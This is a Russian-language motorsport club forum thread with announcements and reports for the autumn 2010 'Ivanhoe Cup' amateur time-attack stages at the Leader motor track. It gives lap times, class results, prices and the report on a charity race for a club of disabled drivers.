+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 19

Тема: Осенний сезон WRCars 2010


Комбинированный просмотр

  1. #1

    Осенний сезон WRCars 2010

    Всем привет!

    Открытие новой темы связано не только с некоторой загруженностью предыдущих, но и потому что осень может быть и очень короткая, но и очень насыщенная. Будет много интересных разовых гоночных проектов, которые наравне с еженедельными спринтами, также будут освещаться здесь.

    Спасибо и до встречи на треке.

    Добавлено через 5 часов 25 минут
    Анонс первого этапа "Айвенго Cup"



    В ближайшую субботу, 28 августа, стартует "Айвенго Cup"!
    Начало в 21:30 на автодроме «Лидер».
    Изменится формат соревнований: это стабильная езда, 1-2-1, в попытке два боевых круга подряд, время которых суммируется.


    От участников потребуется исключительная точность, скорость и стабильность, в прохождении трассы для лучших времён.

    Главные изменения - это очковая система. Теперь количество очков не будет зависеть от числа участников в классе, а будет привязано к занятому месту. Очки по-прежнему получает первая десятка в классе: 1 место - 10 очков и далее, 2 место - 9 очков, 3 место - 8 очков....10 место - 1 очко.
    В остальном регламент прежний: 4 класса автомобилей, 4 этапа - 3 лучших в зачёт, внимание к резине и награждение по этапам и победу в Кубке.

    Цены на участие:
    Безлимитный абонемент - 2500р
    1 попытка - 600р
    2 попытка - 600р
    3 попытка - 500р
    4 попытка - 400р
    5 попытка - 300р
    6 попытка - 100р
    Аренда шлема - 200р.

    И что за "Айвенго Cup": это новые призы для наших участников, от клуба "Айвенго", расположенного там же где и автодром "Лидер" - на территории одноименного загородного комплекса.

    В уникальных интерьерах клуба "Айвенго", Вы сможете с удовольствием провести свой ночной досуг, а самые быстрые гонщики получат приглашение на лучшие вечеринки с включенным сервисом и баром!

    P.S. Награждение за Кубок "2V" назначено на второй этап, 4 сентября.
    (копирайт)
    Наши координаты:
    Стас
    8 (964) 502-82-39
    Владимир
    8 (926) 105-68-54
    GOOGLE.MAPS

    Отчёт о первом этапе «Айвенго Cup». Riverdance!

    Итак, история о том как мы плавали. Целый день субботы 28 августа на «Лидере» были шоу-гонки. Не стали исключением и стартовый этап «Айвенго Cup».

    Спасибо, всем кто приехал, не побоялся рискнуть выехать на трек и вообще добрался до нас.

    Надежды на то, что трек подсохнет, быстро развеялись, после небольшой паузы перед стартом, дождь снова пошёл и уже не прекращался до конца заездов. Всем пришлось быстро приспосабливаться, к прохождению залитой трассы на полу-сликах.
    Не знаю, насколько корректно приводить общую таблицу, но в этот день все были равны как никогда. Да и небольшое количество участников, позволяет упомянуть всех гонщиков, заодно и сразу посмотреть резину).

    Александр Гюрджиди MMC Lancer Evo 9 (Toyo Proxes 888 TW 100) 2'26.504"
    Андрей Черковец MMC Lancer Evo (Advan A 048 TW=60) 2'31.952"
    Алексей Курилкин VW Golf R32 (Hakkapellita) 2'33.311"
    Татьяна Шаталина MMC Lancer RalliArt (Advan AD 08 TW 140) 2'36.380"
    Максим Карнаухов Smart Roadster (Advan A 050 TW 60) 2'37.931"
    Антон Щербаков BMW 320 d 2'38.957"
    Даниил Деркач BMW 135 (Advan AD 08 TW 140) 2'46.247"
    Андрей Подборный VW Caddy (Dunlop SP 5000) 2'52.035"
    Юрий Разин Mercedes C55 AMG (Bridgestone) 3'08.826"
    Сергей Кутузов ВАЗ 21104 (Michelin PE2) 3'23.079"
    Артём на BMW M3 в кузове e46, который прошёл просто не полную попытку, поэтому в итогах его нет. Эмка на треке это здорово, со второго раза всё должно получиться.

    И непосредственно о событиях на треке.
    Антон Щербаков официально объявляется «Человеком дождя», за нереальный круг под 10-ти бальным ливнем! Сказал, что сейчас улучшу, и сделал два круга по 1.19.500, когда уже ехать стало невозможно и был объявлен перерыв.

    Быстрее всех, независимо от количества воды, был Александр Гюрджиди, его черный Evo хоть и проигрывал 10 секунд по сравнению с «сухим» временем, наилучшим образом держался на треке.
    У Андрея Чероквца, желтый Evo просто плыл и он неплохо освоил новую стихию дрифта. И получал удовольствие, показывая отличное время от попытки к попытки.
    Татьяна Шаталина была единолично за рулём MMC lancer Ralliart откатывая заезд за заездом. При этом всё время скидывая новые десятые от исходного времени. Главной целью было опередить нового лидера Алексея Курилкина на Golf R32. Алексей первый раз приехал на соревнование и на полноприводном Гольфе ехал на уровне Эволюшн и сразу взял заслуженную победу в классе.
    Даниил Деркач просто сделал пару заездов на обкатке новой 135 BMW и далее наблюдал за заездами с Ольгой и Андреем Лета.
    К сожалению, не докричались мы до Сергея Кутузова. Не видели его с весны, и тут он как стремительно приехал, также быстро и уехал. Просто если на первом круге он ошибся, то второй прошел за конкурентное время 1.23 сек и мог подняться выше, сделай ещё попытку.
    Был, кстати, ещё всем знакомый гонщик – Сергей Афров, только он специально приехал на Qashqai, чтоб при всём желании – на трек всё равно не выехать.
    Испытывал некоторые сомнения и Юрий Разин на Mercedes C55 AMG (из OPC клуба)) и не без основательно. На первой попытке коробка ушла в аварийный режим, но он по мужски закончил начатое - и со второй попытки завершил дистанцию.
    Порадовал Андрей Подборный, как и весной зажёг на VW Caddy. Может вес машины помогал разгонять лужи, но и всего с 1,6л движком - Андрей не затерялся.
    Позже всех приехал Максим Карнаухов и какбы нехотя, но с удовольствием прокатил пару попыток и 10 очков в его актив.

    Результаты: http://wrcars.ru/races/r10-0-0-0-0
    Начало положено – первые призёры:
    1 этап Класс «А»
    1 место – Антон Щербаков [BMW 320 d] 10 очков
    2 место – Андрей Подборный [VW Caddy] 9 очков
    3 место – Сергей Кутузов [ВАЗ 21104] 8 очков

    1 этап Класс «Б»
    1 место – Алексей Курилкин [VW Golf R32] 10 очков
    2 место – Татьяна Шаталина [MMC Lancer Ralliart] 9 очков
    3 место – Даниил Деркач [BMW 135] 8 очков

    1 этап Класс «В»
    1 место – Максим Карнаухов [Smart Roadster] 10 очков

    1 этап Класс «Анлимитед»
    1 место – Александр Гюрджиди [MMC Lancer Evo 9] 10 очков
    2 место – Андрей Черковец [MMC Lancer Evo 9] 9 очков


    До свиданья лето! Здравствуй прогрессивная осень!



    P.S. Спасибо Андрею за предоставленное место на жёлтом Evo для съёмок on-board!!
    Фото никто не рискнул делать под водой, зато завтра будет видео.
    (копирайт)
    Последний раз редактировалось WRCars; 01.09.2010 в 13:14. Причина: Добавлено сообщение

  2. #2
    Айвенго Cup. Награждение за "2V" + анонс второго этапа.

    Кому День города Москвы, а кому гонки.
    4 сентября второй этап «Айвенго Cup»!


    Начало регистрации с 21:30, старт гонки в 22:00.

    Приезжайте к началу, поскольку в этот день пройдёт награждение за прошедший Кубок «2V». С 23:00 будем чествовать, и награждать призёров за прошлый месяц, после чего заезды снова будут продолжены.


    Помните, что изменился формат кубка: это стабильная езда, 1-2-1, в попытке два боевых круга подряд, время которых суммируется.
    А очки гонщики получают за занятые места, а не количество участников.

    Стоимость заезда – 600р, а каждый следующий ещё дешевле. Безлимитный абонемент – 2500р на весь вечер.
    На днях мы снова открыли «Бар Пит Стоп», который находится, прям на трибунах. Давно оно было закрыто, однако, любимое место снова работает для всех зрителей и участников.

    Наши координаты:
    Стас
    8 (964) 502-82-39
    Владимир
    8 (926) 105-68-54
    GOOGLE.MAPS

    В выходные должно вернуться тепло и Солнце, на первую осеннюю гонку ожидаем большое количество участников!
    Гонок, музыки и чая хватит на всех!
    И продолжим видео эксперименты!
    (копирайт)

  3. #3
    Вот и видео, которые мы сделали ночью, под дождём:
    http://www.youtube.com/watch?v=7xoxPb5Gc6Q

    И второе видео "very wet track":
    http://www.youtube.com/watch?v=oM2oxwszfKg

    Добавлено через 1 час 19 минут
    Акция "Автоспорт без границ"
    В рамках Кубка Автодрома «Лидер» -
    Московского автомобильного клуба инвалидов



    Уважаемые Дамы и Господа, 4 сентября, состоится Кубок автодрома «Лидер», организованный в честь Дня города Москвы, для региональной общественной организации «МАКИ».
    В гонке примут участие члены Московского клуба инвалидов на собственных автомобилях.


    Клуб МАКИ, созданный в 1989 году группой энтузиастов – инвалидов, владельцев автомобилей с ручным управлением. В 1990 г. клуб МАКИ организовал и провел в Москве І-е Международные автомобильные соревнования инвалидов – ралли «Надежда», которое с тех пор ежегодно проходит в июне.
    В 1992 г. клуб МАКИ организовал и провел в Москве І-е автомобильное соревнование инвалидов, посвященное Международному Дню Инвалидов, которое также с тех пор ежегодно проходит в декабре месяце. Последние годы эти соревнования носят название – ралли «Возрождение».

    Наш автодром, открытый для всех любителей скорости, также не хочет оставаться в стороне от проблем спортсменов-инвалидов. Задачи акции привлечь внимание к автогонщикам МАКИ, их профессионализму, достижениям, серьезной доработки техники.

    Программа мероприятия:
    • На мероприятии Вы сможете увидеть показательные выступления спортсменов на автомобилях с ручным управлением
    • Наблюдать настоящую борьбу среди участников за Кубок автодрома «Лидер»

    Формат гонки:
    • Тренировочные заезды 10 минут для каждого пилота
    • 2 зачетные попытки по 5 кругов
    • 1 (один) круг прогревочный
    • 3(три) круга зачетные, в зачет идет время каждого круга, старт осуществляется сходу
    • 1(один) круг на выезд

    Если Вам интересно и не безразлично это мероприятие, приглашаем приехать и поддержать спортсменов в качестве зрителей. Напоминаем, что соревнования начнутся в 10 утра, 4 сентября в субботу.

    Мероприятие вызвало положительный отклик среди журналистов. Своё участие заявили съёмочная бригада Россия 2 для съёмок передачи «Начать сначала», а также ТВЦ «Фактор жизни». Радиостанция Сити ФМ готова вести прямые включения с автодрома.
    Представители прессы Форсаж, Автомобильные известия, Ignition, 4х4, За рулём, Московский спорт и интернет издания drive.ru, SportPotal.ru, Autonews.ru (РБК), utro.ru, auto.ru, ZR.ru, джи Пи смак, sportweek.ru, sport.rambler.ru, weekend.ru, avtoavto.ru, mcar.ru, afisha.ru.

    Спасибо.
    Последний раз редактировалось WRCars; 02.09.2010 в 17:15. Причина: Добавлено сообщение

  4. #4
    Отчёт о втором этапе «Айвенго Cup». Неудержимые.

    В обычный осенний вечер, прошёл настоящий гоночный штурм времён на автодроме «Лидер». Мы продолжаем давать статистику по лучшим кругам, теперь вместе с результатами.



    На гонку приехало много представителей клубов, которых мы уже давно не видели. В привычный коллектив STI, Evo, BMW и Scirocco, уверенно влились Saab, Skoda RS, Golf GTI и R32, Vectra OPC, Levin, Lotus, Clio RS и Mercedes. Пополняется представительство отечественного автопрома, они уверенно смотрятся в классе «А» и делают гонки более захватывающими.
    Погода в этот день была благодушна, немного прохладно, но главное сухо. Участников активно грели чаем с кофе, музыкой, съемками видео. А главное это активность, царившая на трассе. В закрытом парке была только одна очередь – на заезд. Никто не стоял просто припаркованным, все гонялись без перерыва, заезды – выезд – и снова в очередь на заезд!


    В тот самом классе «А» победил Сергей Афров, на ВАЗ 21093 он дважды вышел из минуты и 4 сек! Теперь и эта планка ему покорилась, Сергей отлично подготовился к новому Кубку. Тперь у него по одной победе вместе с Антоном Щербаковым. А лидирует, совершенно неожиданно – Станислав Кутузов! Станислав выступает на ВАЗ 21104 и у него уже 15 очков, после 3 и 4-го места.
    Прошло два этапа, половина Кубка миновала и по новой очковой системе образовалась интересная ситуация в общем зачёте.
    Вторым на этапе пришёл Валерий Мишаков, он был единственным от GTeXtreme на Toyota Levin. И теперь вплотную преследует первую тройку в классе «А». У него равное количество очков с Андреем Подборным и было бы здорово если он продолжит зажигать на VW Caddy, но это вряд ли случится.
    Третьим, как и по итогам прошедшего Кубка «2V», стал Андрей Аристархов на Clio RS. Разумный пилотаж показал – Михаил Маслов на Daewoo Nexia и поздравляем с первыми очками. Был новый участник на Mercedes C230 – Алексей Орлов. Пока эта марка редкость на нашем треке, пора уже подтягиваться. Весь цвет немецкого автопрома уже здесь: и Opel OPC, заряженные Golf, Scirocco, BMW, Porsche и Audi всегда незримо с нами, даже если их нет.
    И отдельно радостным возвращением стало Анастасии Алексеевой на BMW 325. Нашего постоянного участника и прекрасного примера для всех девушек.

    Продолжая тему Mercedes – перейдём в класс «Б», где выступает Юрий Разин. На соревнованиях он был на красном Opel Vectra OPC, которую предварительно обкатал на тренировках. До того он выступал на Mercedes C55 AMG, но теперь понятно, почему он в клубе OPC) Сейчас Юрий ближе всех к первой тройке в общем зачёте и идёт четвёртым.
    Первые круги на «Лидере» проехал Денис Киселёв. Его вообще «привёз» с собой Алексей Новиков, на таком же Scirocco, вместо гонок на МКАД, предложив поехать на трек. И ещё один новый пилот Лев Журба на Skoda Octavia RS. Красивый мощный автомобиль, подстать хозяину.
    В шаге от подиума остановился Дмитрий Квер, Saab 9-3 Aero вновь на треке, он был очень быстр и отлично смотрелся на треке, в итоге 7 очков за четвёртое место.

    Тройка осталась прежней с первого этапа. Вторым и третьим местом обменялись Даниил Деркач на BMW 135 и Татьяна Шаталина на MMC Ralliart. Разрыв был менее значительным, чем на дождевом этапе, всего пять десятых по сумме двух кругов. Теперь у них по 17 очков в общем зачёте. А лидирует, одержавший победу на двух этапах подряд – Алексей Курилкин на Golf R32! Алексей только начал участвовать в чемпионате и уже одержал две победы, подтвердив свою скорость на сухом треке. Отличный пилот, хорошо натренировался и готов бороться за победу на кубке.


    В классе «В», уже не так одиноко Дмитрию Гревцеву. Долгое время, он был единственным кто выступал на Opel Vectra OPC и довёл таки её до победы на прошлом Кубке «2V». Сейчас на другой резине поехал ещё быстрее, но занял пятое место в очень плотной группе претендентов на подиум. Потому что безоговорочным победителем стала – Ольга Баклунова на Porsche 911 GT3. Она попытка за попыткой выводила резину на рабочую температуру и буквально пронеслась по треку два раза подряд, выйдя из минуты на круге. Она единственная, кто вышел из двух минут в классе «В» в тот день.
    Удивительно, но замкнул времена - результат Дмитрия Милицына, возможно просто не пошла работа на другой резине. Его обошёл Сергей Герасимов – бронзовый призёр Кубка «2V». Результаты в классе, действительно очень плотные и четвёртым пришёл в этот раз Дмитрий Лихачёв на BMW 135. Сегодня он ехал на секунду хуже своих обычных времён и проиграл всего восемь десятых, обладателю второго места – Роману Манюшину на Subaru Impreza WRX STI. Вот и Роман завоевал свой первый подиум, хотя начинал очень скромно – теперь едет в группе лидеров. Ну а порадовал нас – Максим Карнаухов, уже некоторое время в его владении находится Honda S2000 и вот состоялось первое выступление на ней в «Лидере». Как итог – третье место и комфортное лидирование в общем зачёте.


    Как всегда стремительно развивались события в классе «Д». Три участника «Анлима» распределяли между собой места на подиуме. Победу одержал в прекрасном стиле – Давид Рамишвили, и снова Subaru Impreza WRX STI S 204 впереди двух MMC Lancer Evo 9! Он побил рекорд Винсента Лебедана 2010 при движении по часовой стрелке, в 58.777 сек на круге.
    Пожалуй, лучшую свою попытку совершил Александр Гюрджиди, сумма по двум кругам меньше двух минут и лидерство в общем зачёте. Андрей Черковец отстал от него всего на пол секунды и в общем зачёте идёт вторым. Андрей только победил в Кубке «2V» и уверен хочет повторить успех, Александр же ещё не побеждал, но набрал отличный ход, разница всего в два очка за два этапа, будет интересно!


    В 23:00 прошло награждение призеров по этапам и итогам Кубка «2V». Поначалу были некоторые сомнения, в целесообразности её проведения из-за отсутствия многих награждаемых, но к 11 все были на месте. Особенно было приятно отметить всех тех кто первый раз поднялся на подиум или одержал долгожданную первую победу в ежемесячном чемпионате. Андрея Лета – победившего в классе «В», Андрея Черковца – выигравшего «Анлим», Сергея Герасимова с первым Кубком за третье место в классе «Б».

    Фото отчёт о церемонии смотрите здесь

    Огромное спасибо Татьяне, мы очень соскучились по её работам, галерея со второго этапа «Айвенго Cup» здесь http://www.wrcars.ru/forum/gallery/a...hp?album_id=40


    Результаты: http://wrcars.ru/races/r10-60-9-0-0
    Долгожданные результаты порядковых времён:
    2 этап Класс «А»
    1 место – Сергей Афров [ВАЗ 21093] 10 очков
    2 место – Валерий Мишаков [Toyota Levin] 9 очков
    3 место – Андрей Аристархов [Renault Clio RS] 8 очков

    2 этап Класс «Б»
    1 место – Алексей Курилкин [VW Golf R32] 10 очков
    2 место – Даниил Деркач [BMW 135] 9 очков
    3 место – Татьяна Шаталина [MMC Lancer Ralliart] 8 очков

    2 этап Класс «В»
    1 место – Ольга Баклунова [Porsche 911 GT3] 10 очков
    2 место – Роман Манюшин [Subaru Impreza WRX ST] 9 очков
    3 место – Максим Карнаухов [Honda S2000] 8 очков

    2 этап Класс «Анлимитед»
    1 место – Давид Рамишвили [Subaru Impreza WRX STI S 204] 10 очков
    2 место – Александр Гюрджиди [MMC Lancer Evo 9] 9 очков
    3 место – Андрей Черковец [MMC Lancer Evo 9] 8 очков





    Мы продолжаем давать статистику по лучшим кругам, теперь вместе с результатами.
    Лучшие времена на одном круге смотрите здесь

    Спасибо вам за первый осенний этап и второй в Айвенго Cup!

    (копирайт)

    Добавлено через 4 часа 55 минут
    Айвенго Cup. Анонс третьего этапа.

    Набираем обороты и продолжаем – впереди третий этап, старт против часовой!



    11 сентября третий этап «Айвенго Cup»!
    Начало регистрации с 21:00, старт гонки в 21:30.
    Будьте внимательны – начало на пол часа раньше.


    Вернулась хорошая погода, которая поможет отличной гонке. Награждение прошло успешно и значит, никаких перерывов не будет, ни что не будет отвлекать от соревнований.
    Кто не получил призы за Кубок «2V» - обязательно их получат в индивидуальном порядке, когда приедете.

    Кубок проходит в одном из самых динамичных форматов: это стабильная езда, 1-2-1, в попытке два боевых круга подряд, время которых суммируется.
    Стоимость заездов прежняя – 600р и ниже. Безлимитный абонемент – 2500р. Аренда шлема – 200р., также на весь вечер.

    Для удобства участников, мы будем внедрять новую систему промежуточных он-лайн результатов. Теперь, даже приехав первый раз, вы будете в курсе, кто ещё выступает с вами в одном классе и их времена!

    До встречи в великолепной атмосфере драйва!

    Наши координаты:
    Стас
    8 (964) 502-82-39
    Владимир
    8 (926) 105-68-54
    GOOGLE.MAPS

    (копирайт)

    Добавлено через 23 часа 4 минуты
    Равные возможности - это успех! Кубок для "МАКИ"

    Действительно, с настоящим успехом прошла акция "Автоспорт без границ" в рамках Кубка автодрома "Лидер" среди членов клуба МАКИ.



    Общественная региональная организация МАКИ, это Московский автомобильный клуб инвалидов. Который объединяет, всех с неограниченной любовью к автоспорту и даёт возможность насладиться скоростью, азартом борьбы, единством и успехами. В 1989г., МАКИ провели первый международный турнир по ралли, среди людей с ограниченными возможностями, под названием ралли "Надежда", проходящее с тех пор ежегодно. Также известное ралли "Возрождение", ежегодно проходит зимой с 1991г.

    В субботу, 4 сентября, клуб с такой именитой историей принял участие в первом Кубке автодрома "Лидер", организованном в честь Дня города Москвы, для всех членов клуба МАКИ, на благотворительной основе.
    С большим волнением подошли участники и организаторы к этому мероприятию. Велика ответственность была у организаторов перед проведением Кубка, а участники волновались за результаты на новом автодроме, все ли приедут.
    Большое внимание и положительный отклик у СМИ, который получил Кубок и сама акция, было не раз отмечено с особой благодарностью во время соревнований.



    Всего приехало 14 участников, настоящих, бесстрашных пилотов:
    Антипов Сергей
    Громнадский Денис
    Загиров Владимир
    Ивинский Максим
    Почивалов Александр
    Солодовский Константин
    Ширяев Андрей
    Степанян Евгений
    Одарица Владимир
    Одарица Надежда
    Громов Дмитрий и Громова Ирина
    Мусатов Игорь
    Афанасьева Екатерина
    Николаева Елена



    Участники были разных возрастов и на разных автомобилях, но каждый выкладывался на 100%, быстро и профессионально проходил трассу на большой скорости и красивым траекториям. Были и небольшие ошибки - вылеты, но лишь от большого желания атаковать всё больше и больше.
    И их старания были вознаграждены: восхищенной реакцией зрителей и удовольствием от соревнований на треке в битве со временем.



    Все участники были разделены на группы по три человека. Именно по столько машин выпускали на трек в каждом заезде. Всего у каждого участника было три выезда на трассу. Сначала прошёл инструктаж и начались тренировочные заезды. А после, всё преобразилось, когда пошли соревнования на время! Чтобы показать время и улучшить его, у каждого участника было два заезда. Сначала все прошли первую попытку, это было первая реальная атака на время, и определились претенденты на победу. И всё решилось на второй волне заездов на время, где многие сумели ещё прибавить. Всего было два класса: девушки и мужчины. А в самих соревнованиях главное было участие и общее единение всех присутствующих.



    Призёры первого Кубка автодрома "Лидер" среди членов клуба МАКИ:
    1. Екатерина Афнасьева
    2. Надежда Одарица
    3. Елена Николаева

    1. Денис Громандский
    2. Андрей Ширяев
    3. Максим Ивинский




    Все призеры получили наградные кубки, а все участники памятные медали о соревновании.
    Искренние положительные эмоции - это лучшая награда за это мероприятие.

    Автодром «Лидер» постарается сделать ралли-спринт для МАКИ регулярными соревнованиями!

    фотографии с Кубка автодрома Лидер для клуба МАКИ
    Последний раз редактировалось WRCars; 09.09.2010 в 14:44. Причина: Добавлено сообщение

  5. #5
    Отчёт о третьем этапе «Айвенго Cup». Большие дети.

    Сказ о том, чем занимаются в песочнице на Симферопольском шоссе, ближе к полуночи.

    Место, где песок заменил асфальт, где день заменила ночь, где вместо мам и нянек – дирекция гонки, место, куда берут любимые игрушки и хвастаются новыми, там, где девочки приобщаются к играм мальчиков. Место, где говорят о резине, но не умеют ей пользоваться.
    Есть такое место – автодром самизнаетекакой.

    Начнем с резины. Возможно, именно потому что закончился летний сезон и температура по вечерам значительно холоднее, - обуславливает некоторый расколбас в итоговых результатах от этапа к этапу у одних и тех же гонщиков. Пожалуй, только Давид Рамишвили не зависит ни от чего и едет всё быстрее, да вот Дмитрий Гревцев скинул пару секунд на другом компаунде, но он уже в классе «В» и пока вне призов. И, конечно, Сергей Афров находит как по немного, по одной-другой десятой, скидывать и скидывать доли секунд со своих результатов. Это не укор и не упрёк, и не возвеличивание, - это интрига! Простое удовольствие от собственных заездов и маленьких побед, непредсказуемость итоговых результатов и прозрачная очковая система – делает гонки интересней.

    Помимо вернувшейся очковой системы, очень надеюсь, что понятнее их сделала графа с классом напротив каждого участника, в протоколах текущих заездов. Будем оптимизировать, чтобы эта информация стала более удоботворимой.

    Сам третий этап, не только внёс некоторую ясность в итоговое положение в общем зачёте, но в первую очередь принёс радостные моменты неожиданных встреч.

    Приехал Константин Савенко, первый чемпион от Lancer X! Приехал с семьёй, отдохнуть покататься, его визит был настоящим сюрпризом, ребёнок получил папин Кубок за майское первенство, а Константин тем временем занял третье место в классе «А», не растеряв хватки и скорости. Вторую победу подряд одержал Сергей Афров, теперь он вплотную за лидером зачета – Станиславом Кутузовым. В субботу Станислав был пятым, хотя и скинул сразу аж 4 секунды с времени на прошлом этапе. Братья Мишаковы заняли второе и шестое места соответственно. У Валерия серьезные планы на этот месяц, второй раз второе место, но Сергея пока не догнать. Также если помните, на прошлый этап приезжал белый Мерседес, сегодня его владелец снова был снами, но на другом варианте – Volvo C30! Надеюсь, Александр Орлов не расстроен, что замкнул турнирную таблицу, результаты обязательно придут. Ибо он вносит свежие краски в наши заезды и видеть его на треке каждый раз одно удовольствие. И, самое ожидаемое прибытие – Игорь Леушин на Toyota Celica! Отлично проехал, как обещал 1.06 и до конца боролся с Константином за третье место, как итог четвертая позиция на этапе с первого выступления.

    А вот кто решил свои задачи и может теперь ездить в удовольствие – это Алексей Курилкин на Golf R32! Три подряд победы в классе «Б» и он вне конкуренции с первого соревнования. Самый реальный конкурент – это Таня Шаталина, да она ещё и гоняться успевает на высоком уровне, и для неё почти гарантировано второе итоговое место. А вот с первым подиумом поздравляю не только Дмитрия Квер, но и вообще всех Saab, которых он достойно представляет, он сделал это – третье место! Юрий снова был на Мерседесе С55 AMG, им невероятно сложно управлять, огромная мощность, её нужно ежесекундно контролировать, что он отлично делает и получает от зрителей положительные отклики и промежуточное третье место в общем зачёте. Но его обошёл другой немец Ауди A4 с Сергеем Фёдоровым за рулём, с одной стороны четвертое место, но с другой результаты секунды чуть ниже летних и можно ещё прибавить. Андрей Колганов, был на тот раз единственным Фокусником, за что ему честь и хвала и не теряться!

    «В» класс, как всегда порадовал просто россыпью жемчужных гонщиков на брильянтовых машинах. Первая тройка ехала ноздря в ноздрю все два часа и только в финальных заездах наступила развязка. Победителем, из которой вышел Андрей Лета на Evo 8 и даже немного расстроился, что не смог разменять две минуты. Второй приехала победительница прошлого этапа – Ольга Баклунова на Porsche 911 GT3. И свой очередной подиум завоевал Дмитрий Лихачёв на BMW 135, он как всегда очень круто выглядел на треке, а в общем зачёте снова вернулся в тройку. Где реально пять пилотов борются за места на подиуме. Один из них – это Дмитрий Гревцев, снова в четвертое место. Opel Vectra OPC, может не так заметно, но продолжает набирать ход. Замкнул протокол – Кирилл Сергиенко, по старой памяти изначально поставили его в Анлим, но уже после исправились. Кирилл пропустил всё лето и приехал к нашей радости тоже совершенно неожиданно, в удовольствие поездить по знакомому треку. И за компанию привёз с собой Олега Кубарева, оба на выступают на Evo 9. Их пару разбил ещё один Evo – Дениса Савиных, мнее секунды он уступил опытному Олегу и 5 очков за шестое место.

    В Анлиме, к сожалению не было Александра Гюрджиди. Зато за второй победой и новыми супер временами приехал Давид Рамишвили на Subaru Impreza WRX STI S 204. Вторым быстрейшим был Андрей Черковец на знакомом MMC Lancer Evo 9, но отставание от Давида ещё велико. Пока Андрей лидирует в общем зачёте, но шансы остаются у всех.

    Конечно, и свет пару раз на автодроме гас, и был забавный момент, когда Андрей Лета уехал с камерой, а приехал без неё. Отправившись на её поиски – нашли сетку от противотуманки Мерседеса Юрия, у нас ничего не пропадёт) А на последок прекрасное видео подарили в парном заезде тот же Андрей Лета и Ольга, было немного страшно, но от того ещё более захватывающе.

    Have a fun, друзья, развязка чемпионата уже скоро.)

    И самое прекрасное что у нас есть – фотоотчёт от Тани
    http://wrcars.ru/forum/gallery/album.php?album_id=42


    Результаты http://wrcars.ru/races/r10-61-0-0-0
    Призёры третьего этапа:

    3 этап Класс «А»
    1 место – Сергей Афров [ВАЗ 21093] 10 очков
    2 место – Валерий Мишаков [Toyota Levin] 9 очков
    3 место – Константин Савенко [MMC Lancer] 8 очков

    3 этап Класс «Б»
    1 место – Алексей Курилкин [VW Golf R32] 10 очков
    2 место – Татьяна Шаталина [MMC Lancer Ralliart] 9 очков
    3 место – Дмитрий Квер [Saab 9-3 Aero] 8 очков

    3 этап Класс «В»
    1 место – Андрей Лета [MMC Lancer Evo 8] 10 очков
    2 место – Ольга Баклунова [Porsche 911 GT3] 9 очков
    3 место – Дмитрий Лихачёв [BMW 135] 8 очков

    3 этап Класс «Анлимитед»
    1 место – Давид Рамишвили [Subaru Impreza WRX STI S 204] 10 очков
    2 место – Андрей Черковец [MMC Lancer Evo 9] 9 очков

    Такие игрушки.





    (копирайт)

    Добавлено через 55 минут
    Анонс Финального этапа «Айвенго Cup».



    Впереди заключительный, четвёртый этап!
    Стартуем в субботу, 18 сентября.
    Регистрация с 21:00, старт гонки в 21:30.


    Раньше начало – больше времени для гонок.

    Сильнейшие участники будут решать кто победит по итогам «Айвенго Cup» в каждом из четырех классов. Все приехавшие будут бороться за подарки и призы на отдельно взятом, последнем четвертом этапе. Участвуйте и вы!
    Возможно последние тёплые вечера. Для вас как всегда: работает кафе на трибунах, живые комментарии, времена каждого заезда, фото и видео съёмка событий на трассе.
    Гонки будут проходить по часовой стрелке. Формат, который последний раз будет использоваться в этом году: стабильная езда, 1-2-1, в попытке два боевых круга подряд, время которых суммируется, один прогревочный круг и круг возвращения.
    Стоимость заездов прежняя – 600р и ниже. Безлимитный абонемент – 2500р. Аренда шлема – 200р. на весь вечер.

    Наши координаты:
    Стас
    8 (964) 502-82-39
    Владимир
    8 (926) 105-68-54
    GOOGLE.MAPS

    (копирайт)

    Малый финал большого кубка!
    Последний раз редактировалось WRCars; 15.09.2010 в 14:28. Причина: Добавлено сообщение

  6. #6
    Отчёт о финальном этапе «Айвенго Cup». Начало.

    Нам везёт и сохраняется хорошая погода, что позволяет проводить соревнования как и раньше. Холода в тёплой машине, думаю тоже не проблема, потому что активный пилотаж всё ещё заставляет гонщиков попотеть, в прямом и переносном смысле) Ездили мы, кстати, снова против часовой, нарушив незыблемые каноны чередования))


    И вот мы встретились на финале, со всеми заинтересованными лицами и несколькими новыми. Самое приятное, что класс «А» набирает популярность и снова стал самым заполняемым по числу участников.
    Может, несколько неожиданным было отсутствие тех, кто борется за призовые места по итогам всего Айвенго Cup. Но тем больше шансов проявить себя участникам, которые и не рассчитывали уже попасть в первую тройку по итогам месяца и получить заслуженную радость в виде неожиданного, но желаемого подиума.

    Экая коллизия настигла Smart Roadster Максима Карнаухова. Для начала Максим приехал бороться с Ольгой за победу. И в классе «В» его результаты радовали с самого начала, от заезда к заезду секунды были всё быстрее, а соперники выглядели не очень уверенно. Само собой, рано или поздно и Ольга должна была прогреться, а затем пошёл обмен лучшими результатами.

    Всё бы хорошо, пока Ольга на Porsche GT3 не сделала действительно очень быструю попытку, два круга из минуты 01 сек, и надо отвечать. Выезжает Максим, и что мы видим – первый круг быстрее! Есть вариант снова зацепиться за лидерство, если бы не второй круг который был хуже. Максим не сдаётся и выезжает снова, сегодня обе машины потенциально одинаково быстры, если один круг получилось проехать быстрее, есть шансы и на второй..прогревочный круг позади, первый поворот, позади и что мы видим – Smart замирает во втором повороте прям на траектории. Аварийки, заезд остановлен, идём к машине и всё оказывается совсем серьёзно. Переднее левое колесо вырвало и держалось оно только на двух рулевых рейках. Очень обидный инцендент, насколько это вообще может быть. В итоге понадобилось почти всё мужское население автодрома, чтоб перенести машину на газон в безопасное место и оставить там до конца соревнований. Ольге осталось уже решать свои личные задачи, например выход из минуты на круге.

    У Максима ещё был шанс отыграться, но оценив возможности эвакуатора, в погрузку на который, опять же, были задействованы все оставшиеся силы, пришлось смириться со вторым местом.
    Третье место для Олега Кубарева и четвёртое для Кирилла Сергиенко. Оба на MMC Evo 9, и можно сказать, что долгая поездка окупилась приятным результатом на подиуме для Олега.


    В «Анлиме» всё лучше и быстрее едет его новый и уже регулярный участник – Денис Савиных, чёрный MMC Lancer Evo с каждым этапов умудряется скидывать по 1,5 – 2 секунды со своего времени! А победил Андрей Черковец и это его вторая итоговая победа подряд по итогам Кубка. И пусть конкуренты приехали лишь на два этапа, но это их ошибка, а Андрей боролся до конца, и жёлтый Evo 9 снова на вершине.


